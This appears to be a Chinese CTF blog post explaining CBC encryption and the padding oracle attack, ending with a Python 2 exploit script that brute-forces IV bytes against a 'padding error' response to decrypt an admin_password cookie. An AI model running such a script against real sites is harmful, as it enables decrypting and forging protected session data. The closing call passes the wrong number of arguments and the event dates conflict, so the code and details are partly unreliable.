SkYe231
2022/11/21阅读:25主题:极客黑
Web🐶需要懂的Crypto|Padding Oracle
CBC字节翻转和Padding Oracle这两个考点在2017-2018年的CTF题目中比较常见,没想到最近的巅峰极客2022的 babyweb 中再出现,总感觉知识点比较零散,这里尝试稍微系统的梳理下,水平有限,有误望师傅们指正
CBC
CBC全称Cipher Block Chaining模式(密文分组链接模式),每一个分组大小一般为128bits(16字节),因而这里会出现两种情况:
-
如果明文的长度不是16字节的整数倍,需要对最后一个分组进行填充(padding),CBC的填充规则有PKCS5和PKCS7的区别,这里使用的是PKCS7 ,即缺少N字节,就用 N 个 \xN
填充,如缺少7位则用 7 个\x07
填充 -
如果刚好是整数倍时,Padding一个整组的填充值
密文:(加密后可能有不可见字符,为了方便网络传输和适应不同系统的编码方案)
-
用 ASCII 十六进制表示,一个字节(2^8-1)用 0xMN 表示 -
base64 表示
加密

-
分组填充 -
生成初始向量IV(这里的初始向量如果未特定给出,则随机生成)和密钥 -
将初始向量与第一组明文异或生成 middle_A -
用密钥加密 middle_A 得到密文 Cipher_A -
重复3 将密文 Cipher_A 与第二组明文异或生成 middle_B -
重复4 用密钥加密密文Cipher_B -
重复3-6 直到最后一组明文 -
将IV和加密后的密文拼接在一起,得到最终的密文(也可以不拼接)
解密

-
首先从最终的密文中提取出IV (IV为加密时指定的X位) //如果加密时没有加入IV则不用提取 -
将密文分组 -
使用密钥对第一组密文A解密得到 middle_A,然后用 IV 进行异或得到第一组明文 -
使用密钥对第二组密文解密得到 middle_B,然后用Cipher_A与middle_B进行异或得到第二组明文 -
重复3-4 直到最后一组密文
Padding Oracle Attack
需要注意的是,Padding Oracle Attack 攻击与具体的加密算法无关。
攻击条件
-
攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(初始化向量) -
攻击者能够触发密文的解密过程,且能够知道密文解密是否成功 -
解密过程中 IV 可控
Padding
在前文有提及,如果明文的长度不是16字节的整数倍,需要对最后一个分组进行填充(padding),CBC的填充规则有PKCS5和PKCS7的区别,这里使用的是PKCS7 ,即缺少N字节,就用 N 个 \xN
填充,如缺少7位则用 7 个 \x07
填充,因此,正确的填充格式有:
0x01
0x02 0x02
0x03 0x03 0x03
....




Attack 思路
-
每次发送一个分组,则解密时都会用到IV
-
爆破分组最后一个字节:
-
根据 New_IV[-1] ^ Intermediary_Value [-1] = 0x01 爆破
New_IV[-1] 从0x00-0xFF 进行爆破,其中只有一个值能满足与 Intermediary_Value[-1] 异或结果为 0x01,也仅有这种 padding 情况能被认为是正常解密(二值推理)
-
根据逻辑运算得到最后一字节的明文
New_IV[-1] ^ Intermediary_Value [-1] = 0x01
=> Intermediary_Value [-1] = New_IV[-1] ^ 0x01将 Intermediary_Value [-1] 与 IV[-1] (第一个分组)或 前一个密文分组的最后一位(其他分组)异或可以得到 Cipher[-1]
-
-
爆破分组倒数第二个字节
-
构造 New_IV[-1] ^ Intermediary_Value [-1] = 0x02
上一步已经得到了Intermediary_Value [-1] ,则
New_IV[-1] = Intermediary_Value [-1] ^ 0x02
-
根据 New_IV[-2] ^ Intermediary_Value [-2] = 0x02 爆破
与爆破最后一个字节的思路相同
-
-
分组其他字节依此类推
巅峰极客2020 babyweb
题目逻辑梳理
-
登陆失败也会返回一个 Set-Cookie,其中有一个字段为 admin_password -
当带着cookie访问login,会解密cookie中的 admin_password 字段,解密失败会报错 padding error.
-
admin_password 长度64,猜测前16是iv,这样就满足了上述的Padding Oracle的条件
exp
import base64 as b64
import requests
secret = ''
url = ""
data = {
'username':"admin",
'password':"admin"
}
cookie = {
"session": ""
}
def padding(secret, xorValue, IV):
middle = []
pt = ''
for x in xrange(0,16):
for y in xrange(0,256):
tmp_IV = ''.join(IV)
cookie_pwd = b64.b64encode(tmp_IV + secret)
cookie.update({
'admin_password':cookie_pwd
})
res = requests.post(url=url,cookies=cookie,data=data).text
if 'padding error' in res:
IV[15-x] = chr(y)
elif 'False' in res:
print IV
IV[15-x] = chr(ord(IV[15-x]) ^ (x + 1))
middle.append(ord(IV[15-x]))
print middle
pt += chr(ord(IV[15-x]) ^ ord(xorValue[15-x]))
for z in xrange(0,x + 1):
IV[15-z] = chr(middle[z] ^ (x + 2))
break
else:
print res
exit()
if y == 255:
print '[!] Something wrong'
print x + 1
exit()
return pt[::-1]
plainText = ''
IV = ['\x00'] * 16
Right_IV = b64.b64decode(secret)[0:16]
secret = b64.b64decode(secret)[16:]
num = int(len(secret)/16)
for i in range(num):
s = secret[i*16:(i+1)*16]
if i == 0:
xorValue = Right_IV
else:
xorValue = secret[(i-1)*16:i*16]
plainText += padding(s,xorValue)
print '[+] PlaintText is : ' + plainText
作者介绍